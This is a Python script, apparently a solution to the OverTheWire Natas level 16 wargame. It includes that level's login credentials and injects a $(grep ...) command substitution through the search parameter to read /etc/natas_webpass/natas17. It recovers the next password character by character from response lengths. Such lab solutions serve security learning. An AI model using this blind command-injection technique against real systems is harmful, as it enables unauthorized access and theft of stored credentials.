natas16

import urllib.request
import string

#variables setup
url = 'http://natas16.natas.labs.overthewire.org'
guess_list = string.digits+string.ascii_letters
username = 'natas16'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
natas17_pass = ''
url_hack_format = 'http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+^!@#+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search'

#setup
password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, url, username, password)
handler = urllib.request.HTTPBasicAuthHandler(password_mgr)
opener = urllib.request.build_opener(handler)
urllib.request.install_opener(opener)

while(len(natas17_pass) <32):
    for char in guess_list:
        natas17_pass += char
        url_hack = url_hack_format.replace('!@#',natas17_pass)
        print('trying: ' + natas17_pass)
        response = urllib.request.urlopen(url_hack).read()

        if len(response) < 1500 :
            print('starts with: ' + natas17_pass)
            break
        else:
            print('not starts with: ' + natas17_pass)
            natas17_pass = natas17_pass[0:len(natas17_pass)-1]

while True:
    pass